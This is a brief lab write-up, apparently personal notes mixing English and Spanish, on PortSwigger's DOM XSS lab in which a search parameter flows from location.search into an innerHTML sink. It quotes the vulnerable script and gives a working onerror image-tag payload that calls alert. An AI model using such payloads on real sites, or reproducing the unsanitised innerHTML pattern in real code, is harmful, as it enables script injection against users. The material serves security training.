← Writeups

DOM XSS in innerHTML sink using source location.search

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.


https://siunam321.github.io/ctf/portswigger-labs/Cross-Site-Scripting/xss-4/

<script> 
function doSearchQuery(query) { 
document.getElementById('searchMessage').innerHTML = query; } 

var query = (new URLSearchParams(window.location.search)).get('search'); 

if(query) { doSearchQuery(query); } </script>
  • No utiliza sanitizacion, codificacion ni scaping
  • el "source" es el parametro "search"
  • el "sink" (quien soporta ejecucion de codigo dinamico) es innerHTML
<img src=errorpls onerror=alert(document.domain)>